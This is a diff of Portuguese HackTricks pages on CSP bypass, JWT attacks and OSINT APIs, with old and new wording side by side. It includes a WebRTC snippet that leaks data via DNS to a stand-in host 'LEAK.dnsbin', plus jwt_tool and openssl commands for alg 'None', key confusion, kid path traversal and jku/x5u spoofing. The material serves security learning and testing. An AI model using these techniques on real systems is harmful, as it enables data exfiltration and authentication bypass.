Em várias páginas, você pode ler que o **WebRTC não verifica a política `connect-src`** do CSP.
|
||||
|
||||
Na verdade, você pode _vazar_ informações usando uma _solicitação DNS_. Confira este código:
|
||||
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
||||
Outra opção:
|
||||
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
|
@ -843,17 +772,16 @@ var pc = new RTCPeerConnection({
|
|||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
|
||||
### Verificação de Políticas CSP Online
|
||||
## Verificando Políticas CSP Online
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
### Criação Automática de CSP
|
||||
## Criando CSP Automaticamente
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
### Referências
|
||||
## Referências
|
||||
|
||||
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||||
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||||
|
|
@ -865,7 +793,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
|
|
@ -886,10 +814,10 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -31,7 +31,7 @@ python3 jwt_tool.py -M at \
|
|||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:
|
||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -60,13 +60,13 @@ Para verificar se a assinatura de um JWT está sendo verificada:
|
|||
|
||||
### Duração
|
||||
|
||||
Verifique se o token dura mais de 24 horas... talvez nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
|
||||
Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
|
||||
|
||||
### Força bruta no segredo HMAC
|
||||
|
||||
[**Veja esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Modificar o algoritmo para None (CVE-2015-9235)
|
||||
### Modificar o algoritmo para None
|
||||
|
||||
Defina o algoritmo usado como "None" e remova a parte da assinatura.
|
||||
|
||||
|
|
@ -79,7 +79,7 @@ O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave púb
|
|||
|
||||
Se você alterar o algoritmo de RS256 para HS256, o código do back-end usará a chave pública como a chave secreta e então usará o algoritmo HS256 para verificar a assinatura.
|
||||
|
||||
Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor da web executando isso:
|
||||
Então, usando a chave pública e alterando de RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando o seguinte:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
|
@ -93,10 +93,10 @@ Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
|
|||
|
||||
### Falsificação de JWKS
|
||||
|
||||
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam um cabeçalho de reivindicação "jku". Essa reivindicação deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam uma declaração de cabeçalho "jku". Essa declaração deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||
|
||||
* **Avaliando Tokens com o Cabeçalho "jku"**:
|
||||
* Verifique a URL da reivindicação "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
||||
* **Avaliando Tokens com Cabeçalho "jku"**:
|
||||
* Verifique a URL da declaração "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
||||
* Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
|
||||
* **Monitorando a Interação HTTP**:
|
||||
* Observar as solicitações HTTP para a URL especificada indica as tentativas do servidor de buscar chaves a partir do link fornecido.
|
||||
|
|
@ -110,15 +110,15 @@ python3 jwt_tool.py JWT_AQUI -X s
|
|||
|
||||
### Visão Geral de Problemas com Kid
|
||||
|
||||
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes onde múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||
Uma declaração de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes nos quais múltiplas chaves existem para verificação da assinatura do token. Essa declaração auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||
|
||||
#### Revelando Chave através de "kid"
|
||||
|
||||
Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||
Quando a declaração `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||
|
||||
#### Traversing de Caminho com "kid"
|
||||
|
||||
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
A declaração `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
|
||||
URL X.509. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser o usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 5280. A segurança de transporte é necessária para transferir os certificados.
|
||||
|
||||
Tente **alterar este cabeçalho para um URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
|
||||
|
||||
|
|
@ -173,11 +173,11 @@ Para forjar um novo token usando um certificado controlado por você, é necess
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado**.
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado**.
|
||||
|
||||
.png>)
|
||||
|
||||
Você também pode abusar de ambas as vulnerabilidades **para SSRFs**.
|
||||
Você também pode abusar de ambas essas vulnerabilidades **para SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
|
@ -231,7 +231,7 @@ Aqui está um exemplo: [ECDSA: Revelando a chave privada, se o mesmo nonce for u
|
|||
### JTI (JWT ID)
|
||||
|
||||
O claim JTI (JWT ID) fornece um identificador único para um Token JWT. Pode ser usado para evitar que o token seja reutilizado.\
|
||||
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). A requisição 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada requisição, você poderia abusar disso para **repetir uma requisição** (sendo necessário enviar 10000 requisições entre cada repetição bem-sucedida).
|
||||
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). As requisições 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada requisição, você poderia abusar disso para **repetir uma requisição** (sendo necessário enviar 10000 requisições entre cada repetição bem-sucedida).
|
||||
|
||||
### Claims Registrados do JWT
|
||||
|
||||
|
|
@ -241,15 +241,15 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001
|
|||
|
||||
**Ataques de Revezamento entre Serviços**
|
||||
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever para uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar repetir o token obtido em uma requisição ao alvo para ver se ele é aceito.
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar repetir o token obtido em uma requisição ao alvo para ver se é aceito.
|
||||
|
||||
* A aceitação do seu token pode indicar um problema crítico, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.
|
||||
|
||||
**Verificação de Expiração de Tokens**
|
||||
|
||||
A expiração do token é verificada usando o claim "exp" do Payload. Dado que os JWTs são frequentemente utilizados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e repetir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando o claim "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir um claim "exp" e os limites de tempo de teste permitirem, armazenar o token e repeti-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
|
||||
A expiração do token é verificada usando o claim "exp" do Payload. Dado que os JWTs frequentemente são utilizados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e repetir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando o claim "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir um claim "exp" e os limites de tempo de teste permitirem, armazenar o token e repeti-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
|
||||
|
||||
* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderá expirar.
|
||||
* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
|
|
@ -257,7 +257,7 @@ A expiração do token é verificada usando o claim "exp" do Payload. Dado que o
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,148 +1,139 @@
|
|||
# Plataformas Online com API
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
Você pode verificar se um IP está relacionado a atividades suspeitas/maliciosas. Totalmente gratuito.
|
||||
|
||||
Você pode perguntar se um IP está relacionado a atividades suspeitas/maliciosas. Completamente gratuito.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
## [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
Verifique se o endereço IP está relacionado a um bot que registra contas. Também pode verificar nomes de usuário e e-mails. Inicialmente gratuito.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
## [Hunter](https://hunter.io/)
|
||||
|
||||
Encontre e verifique e-mails.
|
||||
Algumas solicitações de API gratuitas, para mais é necessário pagar.
|
||||
Encontre e verifique e-mails.\
|
||||
Algumas solicitações de API gratuitas, para mais você precisa pagar.\
|
||||
Comercial?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
## [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Encontre atividades maliciosas relacionadas a IPs e Domínios. Gratuito.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
## [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Encontre dados pessoais relacionados a um e-mail \(perfis em outras plataformas\), domínio \(informações básicas da empresa, e-mails e pessoas que trabalham\) e empresas \(obtenha informações da empresa a partir do e-mail\).
|
||||
Você precisa pagar para acessar todas as possibilidades.
|
||||
Encontre dados pessoais relacionados a um e-mail (perfis em outras plataformas), domínio (informações básicas da empresa, e-mails e pessoas trabalhando) e empresas (obtenha informações da empresa pelo e-mail).\
|
||||
Você precisa pagar para acessar todas as possibilidades.\
|
||||
Comercial?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
## [BuiltWith](https://builtwith.com/)
|
||||
|
||||
Tecnologias usadas por websites. Caro...
|
||||
Tecnologias usadas em sites. Caro...\
|
||||
Comercial?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
## [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Verifique se um host \(domínio ou IP\) está relacionado com atividades suspeitas/maliciosas. Possui algum acesso gratuito à API.
|
||||
Verifique se um host (domínio ou IP) está relacionado a atividades suspeitas/maliciosas. Possui algum acesso gratuito à API.\
|
||||
Comercial?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
## [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Verifique se um host \(domínio ou IP\) está relacionado com atividades suspeitas/maliciosas. Possui algum acesso gratuito à API.
|
||||
Verifique se um host (domínio ou IP) está relacionado a atividades suspeitas/maliciosas. Possui algum acesso gratuito à API.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
## [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Indica se o host está relacionado à atividade de spam. Possui algum acesso gratuito à API.
|
||||
Indica se o host está relacionado a atividade de spam. Possui algum acesso gratuito à API.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
## [mywot](https://www.mywot.com/)
|
||||
|
||||
Baseado em opiniões e outras métricas, obtenha se um domínio está relacionado com informações suspeitas/maliciosas.
|
||||
Com base em opiniões e outras métricas, descubra se um domínio está relacionado a informações suspeitas/maliciosas.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
## [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Obtém informações básicas de um endereço IP. Você pode testar até 100K/mês.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
## [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Esta plataforma fornece informações sobre domínios e endereços IP, como domínios dentro de um IP ou dentro de um servidor de domínio, domínios pertencentes a um e-mail \(encontre domínios relacionados\), histórico de IP de domínios \(encontre o host por trás do CloudFlare\), todos os domínios usando um nameserver....
|
||||
Essa plataforma fornece informações sobre domínios e endereços IP, como domínios dentro de um IP ou dentro de um servidor de domínio, domínios de propriedade de um e-mail (encontre domínios relacionados), histórico de IP de domínios (encontre o host por trás do CloudFlare), todos os domínios usando um servidor de nomes....\
|
||||
Você tem algum acesso gratuito.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
## [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Permite pesquisar por e-mail, domínio ou nome da empresa e recuperar informações "pessoais" relacionadas. Também pode verificar e-mails. Há algum acesso gratuito.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
## [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Muitas informações de domínios e IPs mesmo na versão gratuita/comunitária.
|
||||
Muitas informações de domínios e IPs, mesmo na versão gratuita/comunitária.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
## [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Pesquise Domínios, IPs e e-mails e obtenha informações de dumps. Possui algum acesso gratuito.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Pesquise por IP e colete informações relacionadas a atividades suspeitas. Há algum acesso gratuito.
|
||||
Pesquise por IP e obtenha informações relacionadas a atividades suspeitas. Há algum acesso gratuito.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
## [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Pesquise por IP ou faixa de IP e obtenha informações sobre IPs que estão escaneando a Internet. Acesso gratuito de 15 dias.
|
||||
Pesquise por IP ou intervalo de IP e obtenha informações sobre IPs que escaneiam a Internet. Acesso gratuito por 15 dias.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
## [Shodan](https://www.shodan.io/)
|
||||
|
||||
Obtenha informações de varredura de um endereço IP. Possui algum acesso gratuito à API.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
## [Censys](https://censys.io/)
|
||||
|
||||
Muito similar ao shodan
|
||||
Muito semelhante ao shodan
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Encontre buckets S3 abertos pesquisando por palavra-chave.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
## [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Encontre credenciais vazadas de e-mails e até domínios
|
||||
Encontre credenciais vazadas de e-mails e até mesmo domínios\
|
||||
Comercial?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
## [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
Pesquise pastebins onde um e-mail apareceu. Comercial?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
## [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Obtenha a reputação de um e-mail. Comercial?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
## [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Obtenha senhas de e-mails vazados. Comercial?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
## [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Obtenha informações interessantes de IPs
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
## [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Pesquise por domínio e e-mail e veja se foi comprometido e senhas. Comercial?
|
||||
Pesquise por domínio e e-mail e veja se foram comprometidos e senhas. Comercial?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(em uma ferramenta comercial?\)
|
||||
### [IP2Location.io](https://www.ip2location.io/)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(em uma ferramenta comercial?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(em uma ferramenta comercial?\)
|
||||
Detecta geolocalização de IP, data center, ASN e até informações de VPN. Oferece 30K consultas gratuitas por mês.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)(em uma ferramenta comercial?)
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) (em uma ferramenta comercial?)
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) (em uma ferramenta comercial?)
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue